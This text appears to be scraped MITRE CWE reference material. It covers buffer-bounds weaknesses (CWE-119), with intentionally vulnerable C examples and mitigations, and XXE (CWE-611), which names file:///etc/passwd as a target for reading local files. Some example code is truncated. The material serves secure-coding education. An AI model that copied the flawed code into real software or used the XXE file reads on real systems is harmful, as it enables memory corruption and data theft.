ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	130	Improper Handling of Length Parameter Inconsistency
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	786	Access of Memory Location Before Start of Buffer
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	787	Out-of-bounds Write
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	788	Access of Memory Location After End of Buffer
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	805	Buffer Access with Incorrect Length Value
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	822	Untrusted Pointer Dereference
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	823	Use of Out-of-range Pointer Offset
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	824	Access of Uninitialized Pointer
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	825	Expired Pointer Dereference

Relevant to the view "Seven Pernicious Kingdoms" (CWE-700)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	20	Improper Input Validation

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Languages

C (Often Prevalent)

C++ (Often Prevalent)

Class: Assembly (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability	Technical Impact: Execute Unauthorized Code or Commands; Modify Memory If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow. If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), they can redirect a function pointer to their own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.
Availability Confidentiality	Technical Impact: Read Memory; DoS: Crash, Exit, or Restart; DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory) Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.
Confidentiality	Technical Impact: Read Memory In the case of an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

(bad code)

Example Language: C

void host_lookup(char *user_supplied_addr){

}

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Example 2

This example applies an encoding procedure to an input string and stores it into a buffer.

(bad code)

Example Language: C

char * copy_input(char *user_supplied_string){

int i, dst_index;
char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
if ( MAX_SIZE <= strlen(user_supplied_string) ){

die("user string too long, die evil hacker!");

}
dst_index = 0;
for ( i = 0; i < strlen(user_supplied_string); i++ ){

if( '&' == user_supplied_string[i] ){

dst_buf[dst_index++] = '&';
dst_buf[dst_index++] = 'a';
dst_buf[dst_index++] = 'm';
dst_buf[dst_index++] = 'p';
dst_buf[dst_index++] = ';';

}
else if ('<' == user_supplied_string[i] ){

/* encode to < */

}
else dst_buf[dst_index++] = user_supplied_string[i];

}
return dst_buf;

}

Example 3

The following example asks a user for an offset into an array to select an item.

(bad code)

Example Language: C

int main (int argc, char **argv) {

char *items[] = {"boat", "car", "truck", "train"};
int index = GetUntrustedOffset();
printf("You selected %s\n", items[index-1]);

}

The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

Example 4

In the following code, the method retrieves a value from an array at a specific array index location that is given as an input parameter to the method

(bad code)

Example Language: C

int getValueFromArray(int *array, int len, int index) {

int value;

// check that the array index is less than the maximum

// length of the array
if (index < len) {

// get the value at the specified index of the array
value = array[index];

}
// if array index is invalid then output error message
// and return value indicating error
else {

printf("Value is: %d\n", array[index]);
value = -1;

}

return value;

}

However, this method only verifies that the given array index is less than the maximum length of the array but does not check for the minimum value (CWE-839). This will allow a negative value to be accepted as the input array index, which will result in a out of bounds read (CWE-125) and may allow access to sensitive memory. The input array index should be checked to verify that is within the maximum and minimum range required for the array (CWE-129). In this example the if statement should be modified to include a minimum range check, as shown below.

(good code)

Example Language: C

...

// check that the array index is within the correct

// range of values for the array
if (index >= 0 && index < len) {

...

Example 5

Windows provides the _mbs family of functions to perform various operations on multibyte strings. When these functions are passed a malformed multibyte string, such as a string containing a valid leading byte followed by a single null byte, they can read or write past the end of the string buffer causing a buffer overflow. The following functions all pose a risk of buffer overflow: _mbsinc _mbsdec _mbsncat _mbsncpy _mbsnextc _mbsnset _mbsrev _mbsset _mbsstr _mbstok _mbccpy _mbslen

Observed Examples

Reference	Description
CVE-2021-22991	Incorrect URI normalization in application traffic product leads to buffer overflow, as exploited in the wild per CISA KEV.
CVE-2020-29557	Buffer overflow in Wi-Fi router web interface, as exploited in the wild per CISA KEV.
CVE-2009-2550	Classic stack-based buffer overflow in media player using a long entry in a playlist
CVE-2009-2403	Heap-based buffer overflow in media player using a long entry in a playlist
CVE-2009-0689	large precision value in a format string triggers overflow
CVE-2009-0690	negative offset value leads to out-of-bounds read
CVE-2009-1532	malformed inputs cause accesses of uninitialized or previously-deleted objects, leading to memory corruption
CVE-2009-1528	chain: lack of synchronization leads to memory corruption
CVE-2021-29529	Chain: machine-learning product can have a heap-based buffer overflow (CWE-122) when some integer-oriented bounds are calculated by using ceiling() and floor() on floating point values (CWE-1339)
CVE-2009-0558	attacker-controlled array index leads to code execution
CVE-2009-0269	chain: -1 value from a function call was intended to indicate an error, but is used as an array index instead.
CVE-2009-0566	chain: incorrect calculations lead to incorrect pointer dereference and memory corruption
CVE-2009-1350	product accepts crafted messages that lead to a dereference of an arbitrary pointer
CVE-2009-0191	chain: malformed input causes dereference of uninitialized memory
CVE-2008-4113	OS kernel trusts userland-supplied length value, allowing reading of sensitive information
CVE-2005-1513	Chain: integer overflow in securely-coded mail program leads to buffer overflow. In 2005, this was regarded as unrealistic to exploit, but in 2020, it was rediscovered to be easier to exploit due to evolutions of the technology.
CVE-2003-0542	buffer overflow involving a regular expression with a large number of captures
CVE-2017-1000121	chain: unchecked message size metadata allows integer overflow (CWE-190) leading to buffer overflow (CWE-119).

Potential Mitigations

Phase: Requirements

Strategy: Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Note: This is not a complete solution, since many buffer overflows are not related to strings.

Phases: Operation; Build and Compilation

Strategy: Environment Hardening

D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.

Effectiveness: Defense in Depth

Note:

Phase: Implementation

Consider adhering to the following rules when allocating and managing an application's memory:

Double check that the buffer is as large as specified.

When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.

Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space.

If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Phases: Operation; Build and Compilation

Strategy: Environment Hardening

For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].

Effectiveness: Defense in Depth

Phase: Operation

Strategy: Environment Hardening

For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].

Effectiveness: Defense in Depth

Phase: Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

Effectiveness: Moderate

Note: This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Effectiveness: High

Note: Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode Quality Analysis

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness: SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness: SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Web Application Scanner

Web Services Scanner

Database Scanners

Effectiveness: SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

Effectiveness: SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

Manual Source Code Review (not inspections)

Effectiveness: SOAR Partial

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer

Cost effective for partial coverage:

Source Code Quality Analyzer

Effectiveness: High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness: High

Affected Resources

Memory

Memberships

Nature	Type	ID	Name
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	635	Weaknesses Originally Used by NVD from 2008 to 2016
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	726	OWASP Top Ten 2004 Category A5 - Buffer Overflows
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	740	CERT C Secure Coding Standard (2008) Chapter 7 - Arrays (ARR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	741	CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	744	CERT C Secure Coding Standard (2008) Chapter 11 - Environment (ENV)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	752	2009 Top 25 - Risky Resource Management
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	874	CERT C++ Secure Coding Section 06 - Arrays and the STL (ARR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	878	CERT C++ Secure Coding Section 10 - Environment (ENV)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	970	SFP Secondary Cluster: Faulty Buffer Access
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1161	SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1306	CISQ Quality Measures - Reliability
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1308	CISQ Quality Measures - Security
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1399	Comprehensive Categorization: Memory Safety
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses

Vulnerability Mapping Notes

Usage: DISCOURAGED

(this CWE ID should not be used to map to real-world vulnerabilities)

Reason: Frequent Misuse

Rationale:

CWE-119 is commonly misused in low-information vulnerability reports when lower-level CWEs could be used instead, or when more details about the vulnerability are available.

Comments:

Look at CWE-119's children and consider mapping to CWEs such as CWE-787: Out-of-bounds Write, CWE-125: Out-of-bounds Read, or others.

Notes

Applicable Platform

It is possible in any programming languages without memory management support to attempt an operation outside of the bounds of a memory buffer, but the consequences will vary widely depending on the language, platform, and chip architecture.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OWASP Top Ten 2004	A5	Exact	Buffer Overflows
CERT C Secure Coding	ARR00-C		Understand how arrays work
CERT C Secure Coding	ARR30-C	CWE More Abstract	Do not form or use out-of-bounds pointers or array subscripts
CERT C Secure Coding	ARR38-C	CWE More Abstract	Guarantee that library functions do not form invalid pointers
CERT C Secure Coding	ENV01-C		Do not make assumptions about the size of an environment variable
CERT C Secure Coding	EXP39-C	Imprecise	Do not access a variable through a pointer of an incompatible type
CERT C Secure Coding	FIO37-C		Do not assume character data has been read
CERT C Secure Coding	STR31-C	CWE More Abstract	Guarantee that storage for strings has sufficient space for character data and the null terminator
CERT C Secure Coding	STR32-C	CWE More Abstract	Do not pass a non-null-terminated character sequence to a library function that expects a string
WASC	7		Buffer Overflow
Software Fault Patterns	SFP8		Faulty Buffer Access

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-10	Buffer Overflow via Environment Variables
CAPEC-100	Overflow Buffers
CAPEC-123	Buffer Manipulation
CAPEC-14	Client-side Injection-induced Buffer Overflow
CAPEC-24	Filter Failure through Buffer Overflow
CAPEC-42	MIME Conversion
CAPEC-44	Overflow Binary Resource File
CAPEC-45	Buffer Overflow via Symbolic Links
CAPEC-46	Overflow Variables and Tags
CAPEC-47	Buffer Overflow via Parameter Expansion
CAPEC-8	Buffer Overflow in an API Call
CAPEC-9	Buffer Overflow in Local Command-Line Utilities

References

[REF-1029] Aleph One. "Smashing The Stack For Fun And Profit". 1996-11-08. <http://phrack.org/issues/49/14.html>.

[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 5, "Public Enemy #1: The Buffer Overrun" Page 127; Chapter 14, "Prevent I18N Buffer Overruns" Page 441. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.

[REF-56] Microsoft. "Using the Strsafe.h Functions". <https://learn.microsoft.com/en-us/windows/win32/menurc/strsafe-ovw?redirectedfrom=MSDN>. URL validated: 2023-04-07.

[REF-59] Arjan van de Ven. "Limiting buffer overflows with ExecShield". <https://archive.is/saAFo>. URL validated: 2023-04-07.

[REF-60] "PaX". <https://en.wikipedia.org/wiki/Executable_space_protection#PaX>. URL validated: 2023-04-07.

[REF-61] Microsoft. "Understanding DEP as a mitigation technology part 1". <https://msrc.microsoft.com/blog/2009/06/understanding-dep-as-a-mitigation-technology-part-1/>. URL validated: 2023-04-07.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 5, "Memory Corruption", Page 167. 1st Edition. Addison Wesley. 2006.

[REF-64] Grant Murphy. "Position Independent Executables (PIE)". Red Hat. 2012-11-28. <https://www.redhat.com/en/blog/position-independent-executables-pie>. URL validated: 2023-04-07.

[REF-1332] John Richard Moser. "Prelink and address space randomization". 2006-07-05. <https://lwn.net/Articles/190139/>. URL validated: 2023-04-26.

[REF-1334] D3FEND. "Stack Frame Canary Validation (D3-SFCV)". 2023. <https://d3fend.mitre.org/technique/d3f:StackFrameCanaryValidation/>. URL validated: 2023-04-26.

[REF-1335] D3FEND. "Segment Address Offset Randomization (D3-SAOR)". 2023. <https://d3fend.mitre.org/technique/d3f:SegmentAddressOffsetRandomization/>. URL validated: 2023-04-26.

[REF-1336] D3FEND. "Process Segment Execution Prevention (D3-PSEP)". 2023. <https://d3fend.mitre.org/technique/d3f:ProcessSegmentExecutionPrevention/>. URL validated: 2023-04-26.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	PLOVER
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-08-15		Veracode
2008-08-15	Suggested OWASP Top Ten 2004 mapping
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Description, Relationships, Taxonomy_Mappings
2008-10-14	CWE Content Team	MITRE
2008-10-14	updated Relationships
2008-11-24	CWE Content Team	MITRE
2008-11-24	updated Relationships, Taxonomy_Mappings
2009-01-12	CWE Content Team	MITRE
2009-01-12	updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Likelihood_of_Exploit, Name, Potential_Mitigations, References, Relationships
2009-03-10	CWE Content Team	MITRE
2009-03-10	updated Potential_Mitigations
2009-05-27	CWE Content Team	MITRE
2009-05-27	updated Demonstrative_Examples
2009-07-27	CWE Content Team	MITRE
2009-07-27	updated Observed_Examples
2009-10-29	CWE Content Team	MITRE
2009-10-29	updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Relationships, Time_of_Introduction
2009-12-28	CWE Content Team	MITRE
2009-12-28	updated Common_Consequences, Demonstrative_Examples, Detection_Factors, Observed_Examples
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Alternate_Terms, Applicable_Platforms, Demonstrative_Examples, Detection_Factors, Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2010-06-21	CWE Content Team	MITRE
2010-06-21	updated Potential_Mitigations
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Potential_Mitigations, Relationships
2010-12-13	CWE Content Team	MITRE
2010-12-13	updated Name
2011-03-29	CWE Content Team	MITRE
2011-03-29	updated Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences, Relationships
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Demonstrative_Examples, Potential_Mitigations, References, Relationships
2012-10-30	CWE Content Team	MITRE
2012-10-30	updated Potential_Mitigations
2013-02-21	CWE Content Team	MITRE
2013-02-21	updated Demonstrative_Examples
2014-02-18	CWE Content Team	MITRE
2014-02-18	updated Potential_Mitigations, References
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Detection_Factors, Relationships, Taxonomy_Mappings
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2017-01-19	CWE Content Team	MITRE
2017-01-19	updated Relationships
2017-05-03	CWE Content Team	MITRE
2017-05-03	updated Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Relationships, Taxonomy_Mappings
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated References
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Relationships
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Related_Attack_Patterns, Relationships
2019-09-19	CWE Content Team	MITRE
2019-09-19	updated References, Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Relationships, Taxonomy_Mappings, Time_of_Introduction
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Alternate_Terms, Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Alternate_Terms, Observed_Examples, Relationships
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Demonstrative_Examples, Observed_Examples, Potential_Mitigations, Relationships
2022-06-28	CWE Content Team	MITRE
2022-06-28	updated Observed_Examples, Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Relationships, Taxonomy_Mappings
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Alternate_Terms, Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Potential_Mitigations, References, Relationships, Time_of_Introduction
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes, Relationships
Previous Entry Names
Change Date	Previous Entry Name
2008-04-11	Buffer Errors

2009-01-12	Failure to Constrain Operations within the Bounds of an Allocated Memory Buffer

2010-12-13	Failure to Constrain Operations within the Bounds of a Memory Buffer

Weakness ID: 611

View customized information:

Description

Extended Description

XML documents optionally contain a Document Type Definition (DTD), which, among other features, enables the definition of XML entities. It is possible to define an entity by providing a substitution string in the form of a URI. The XML parser can access the contents of this URI and embed these contents back into the XML document for further processing.

By submitting an XML file that defines an external entity with a file:// URI, an attacker can cause the processing application to read the contents of a local file. For example, a URI such as "file:///c:/winnt/win.ini" designates (in Windows) the file C:\Winnt\win.ini, or file:///etc/passwd designates the password file in Unix-based systems. Using URIs with other schemes such as http://, the attacker can force the application to make outgoing requests to servers that the attacker cannot reach directly, which can be used to bypass firewall restrictions or hide the source of attacks such as port scanning.

Once the content of the URI is read, it is fed back into the application that is processing the XML. This application may echo back the data (e.g. in an error message), thereby exposing the file contents.

Alternate Terms

XXE:	An acronym used for the term "XML eXternal Entities"

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	610	Externally Controlled Reference to a Resource in Another Sphere
PeerOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	441	Unintended Proxy or Intermediary ('Confused Deputy')

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	19	Data Processing Errors

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	610	Externally Controlled Reference to a Resource in Another Sphere

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1015	Limit Access

Modes Of Introduction

Phase	Note
Implementation	REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Applicable Platforms

Languages

XML (Undetermined Prevalence)

Technologies

Class: Web Based (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Confidentiality	Technical Impact: Read Application Data; Read Files or Directories If the attacker is able to include a crafted DTD and a default entity resolver is enabled, the attacker may be able to access arbitrary files on the system.
Integrity	Technical Impact: Bypass Protection Mechanism The DTD may include arbitrary HTTP requests that the server may execute. This could lead to other attacks leveraging the server's trust relationship with other entities.
Availability	Technical Impact: DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory) The product could consume excessive CPU cycles or memory using a URI that points to a large file, or a device that always returns data such as /dev/random. Alternately, the URI could reference a file that contains many nested or recursive entity references to further slow down parsing.

Observed Examples

Reference	Description
CVE-2022-42745	Recruiter software allows reading arbitrary files using XXE
CVE-2005-1306	A browser control can allow remote attackers to determine the existence of files via Javascript containing XML script.
CVE-2012-5656	XXE during SVG image conversion
CVE-2012-2239	XXE in PHP application allows reading the application's configuration file.
CVE-2012-3489	XXE in database server
CVE-2012-4399	XXE in rapid web application development framework allows reading arbitrary files.
CVE-2012-3363	XXE via XML-RPC request.
CVE-2012-0037	XXE in office document product using RDF.
CVE-2011-4107	XXE in web-based administration tool for database.
CVE-2010-3322	XXE in product that performs large-scale data analysis.
CVE-2009-1699	XXE in XSL stylesheet functionality in a common library used by some web browsers.

Potential Mitigations

Phases: Implementation; System Configuration

Many XML parsers and validators can be configured to disable external entity expansion.

Detection Methods

Automated Static Analysis

Effectiveness: High

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	990	SFP Secondary Cluster: Tainted Input to Command
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1030	OWASP Top Ten 2017 Category A4 - XML External Entities (XXE)
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1308	CISQ Quality Measures - Security
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1340	CISQ Data Protection Measures
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1396	Comprehensive Categorization: Access Control

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Notes

Relationship

CWE-918 (SSRF) and CWE-611 (XXE) are closely related, because they both involve web-related technologies and can launch outbound requests to unexpected destinations. However, XXE can be performed client-side, or in other contexts in which the software is not acting directly as a server, so the "Server" portion of the SSRF acronym does not necessarily apply.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	43		XML External Entities
Software Fault Patterns	SFP24		Tainted input to command

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-221	Data Serialization External Entities Blowup

References

[REF-496] OWASP. "XML External Entity (XXE) Processing". <https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing>.

[REF-497] Sascha Herzog. "XML External Entity Attacks (XXE)". 2010-10-20. <https://owasp.org/www-pdf-archive/XML_Exteral_Entity_Attack.pdf>. URL validated: 2023-04-07.

[REF-498] Gregory Steuck. "XXE (Xml eXternal Entity) Attack". <https://www.beyondsecurity.com/>. URL validated: 2023-04-07.

